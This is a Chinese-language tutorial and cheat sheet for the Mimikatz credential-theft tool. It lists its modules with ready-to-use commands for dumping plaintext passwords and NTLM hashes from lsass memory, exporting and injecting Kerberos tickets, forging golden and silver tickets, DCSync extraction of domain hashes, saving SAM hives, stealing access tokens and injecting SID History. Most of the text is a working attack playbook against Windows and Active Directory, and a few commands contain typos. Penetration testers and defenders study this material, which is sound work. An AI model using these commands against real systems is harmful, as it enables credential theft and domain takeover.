一、Mimikatz定义
mimikatz是benjamin使用C语言编写的一款非常强大的安全工具,它可以从机器内存中提取明文密码、密码Hash、PIN码和Kerberos票据等。它的功能非常强大,得到全球安全研究员的广泛使用。
Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!
二、程序发布地址
1、发布地址:http://blog.gentilkiwi.com/mimikatz
2、下载地址:https://github.com/gentilkiwi/mimikatz/releases
三、Mimikatz的功能模块
crypto | 加密模块 |
sekurlsa | SekurLSA模块,用来枚举凭据 |
kerberos | Kerberos包模块 |
ngc | 密码学模块 |
privilege | 提权 |
process | 进程模块 |
service | 服务模块 |
lsadump | LsaDump模块 |
ts | 终端服务器模块 |
event | 事件模块 |
misc | 杂项模块 |
token | 令牌操作模块 |
vault | Windows凭据模块 |
minesweeper | MinSweeper模块 |
dpapi | DPAPI模块(通过API或RAW访问,数据保护应用程序编程接口) |
busylight | BusyLigh模块 |
sysenv | 系统环境值模块 |
sid | 安全标识符模块 |
iis | IIS XML 配置模块 |
rpc | RPC控制 |
sr98 | SR98设备和T5577目标模块 |
rdm | RDM(830AL)设备的射频模块 |
acr | ACR模块 |
常见模块的有privilege/sekurlsa/kerberos/lsadump/token/sid
四、常用模块详细介绍
1、privilege模块
1)定义:
该模块主要用于提权,需要管理员身份运行才可以进行提权
2)操作命令:privilege::debug
2、sekurlsa模块
1)定义:
该模块主要用于枚举凭据,需要高权限运行,所以需要先用privilege模块提权
2)操作命令:
①抓取内存中保存用户明文密码
sekurlsa::wdigest
②抓取内存中保存的用户Hash
sekurlsa::msv
③抓取内存中保存用户密码的Key值
sekurlsa::ekeys
④抓取内存中保存的用户所有凭据
sekurlsa::logonpasswords
⑤加载dump文件并导出其中的明文密码
sekurlsa::minidump lsass.dump
sekurlsa::logonpasswords full
⑥导出lsass.exe进程中所有的票据
sekurlsa::tickets /export
3、kerberos模块
1)定义:
该模块主要用于查看kerberos相关的信息
2)操作命令:
①查看内存中的Kerberos TGT
kerberos::tgt
②查看内存中所有的Kerberos票据
kerberos::list
③清除票据
kerberos::purge
④将票据注入到内存中
kerberos::ptt xx.kirbi
⑤黄金票据传递攻击
kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的hash或是AES Key /ptt
⑥白银票据传递攻击
kerberos::golden /user:要伪造的用户 /domain:域名 /sid:域的sid值 /target:服务机器 /service:指定服务,如cifs/ldap /rc4:服务账号的Hash /ptt
4、lsadump模块
1)定义:
该模块是对Local Security Authority(LSA)进行密码抓取的模块
2)操作命令:
①通过DCSync导出指定用户密码Hash格式化输出
lsadump::dcsync /domain:test.com /user:krbtgt /csv
②通过DCsync导出指定用户的密码Hash的详细信息
lsadump::dcsync /domain:test.com /user:krbtgt
③通过DCsync导出所有用户的Hash
lsadump::dcsync /domain:test.com /all /csv
④读取所有用户的Hash,需要域控上以管理员权限运行
lsadump::lsa /pathch
⑤从sam.hive和system.hive文件中获得NTLM Hash
reg save hklm\sam sam.hive
reg save hklm\system system.hive
lsadump::sam /sam:sam.hive /system:system.hive
⑥从本地SAM文件中读取密码Hash
token::elevate
lsadump::sam
5、token模块
1)定义:
该模块是访问令牌相关的模块
2)操作命令:
①列出当前进程的token信息
token::whoami
token::whoami /full
②列出当前系统中存在的token,高权限列出的token最全
token::list
③窃取指定的token id的token
token::elevate id
④窃取System权限的token(默认)
token::elevate /system
⑤窃取域管理员的token
token::elevate /domain
⑥窃取企业管理员的token
token::elevate /enterpriseadmin
⑦窃取本地管理员的token
token::elevate /admin
⑧窃取Local Service权限的token
token::elevate /localservice
⑨窃取Network Service权限的token
token::elevate /networkservice
⑩恢复之前的token
token::revert
6、sid模块
1)定义:
该模块是SID相关的模块
2)操作命令:
①查询指定对象的SID
sid::lookup /name:test
②通过samAccountName属性查询对象的信息
sid::query /sam:test
③通过SID属性查询对象的信息
sid::query /sid:S-1-5-21-2691333271-3572924591-1293602303
④通过 samAccountName 属性修改对象的 SID
sid::patch
sid::modify /sam:test /new:S-1-5-21-2691333271-3572924591-1293602303
⑤通过sid属性修改对象的 SID
sid::patch
sid::modify /sid:S-1-5-21-2691333271-3572924591-1293602303 /newsid::patch:S-1-5-21-2691333271-3572924591-1293602304
⑥通过 samAccountName 属性给对象添加一个SID History属性
sid::patch
sid::add /sam;test /new:S-1-5-21-2691333271-3572924591-1293602303
⑦通过sid属性给对象添加一个SID History属性
sid::patch
sid::add /sid:S-1-5-21-2691333271-3572924591-1293602303 /new:S-1-5-21-2691333271-3572924591-1293602303-500
⑧将administrator的SID 添加到 test的SID History 属性中
sid::path
sid::add /sam:test /new:administrator
⑨清除指定samAccountName对象的SID Historty属性
sid::clear /sam::test
⑩清除指定sid对象SID History属性
sid::clear /sid:S-1-5-21-2691333271-3572924591-1293602303
五、常规的操作使用命令
1、mimikatz # cls -->清屏,类似dos命令cls
2、mimikatz # exit -->退出mimikatz
3、mimikatz #version -->查看当前的mimikatz的版本
4、系统方面的操作使用命令:system
1)mimikatz #system::user -->查看当前登录的系统用户
2)mimikazt #system::computer -->返回当前的计算机名称
5、在服务器终端的操作命令: ts
1)mimikatz #ts::sessions -->显示当前的会话
2)mimikatz #ts::processes windows-d.vm.nirvana.local -->显示服务器的进程和对应的pid情况等
6、系统服务相关的操作使用命令:service
7、系统进程相关操作的使用命令:process
8、系统线程相关操作使用命令:thread
9、系统句柄相关操作使用命令:handle
10、加密相关操作使用命令:crypto
11、注入操作使用命令:inject
六、其他基础命令
1.cls清屏
2.exit退出
3.version查看mimikatz的版本
4.help查看帮助信息
5.system::user查看当前登录的系统用户
6.system::computer查看计算机名称
7.process::list列出进程
8.process::suspend进程名称 暂停进程
9.process::stop进程名称 结束进程
10.process::modules列出系统的核心模块及所在位置
11.service::list列出系统的服务
12.service::remove移除系统的服务
13.service::start stop服务名称 启动或停止服务
14.privilege::list列出权限列表
15.privilege::enable激活一个或多个权限
16.privilege::debug提升权限
17.nogpo::cmd打开系统的cmd.exe
18.nogpo::regedit打开系统的注册表
19.nogpo::taskmgr打开任务管理器
20.ts::sessions显示当前的会话
21.ts::processes显示进程和对应的pid情况等
22.sekurlsa::wdigest获取本地用户信息及密码
23.sekurlsa::wdigest获取kerberos用户信息及密码
24.sekurlsa::tspkg获取tspkg用户信息及密码
25.sekurlsa::logonPasswords获登陆用户信息及密码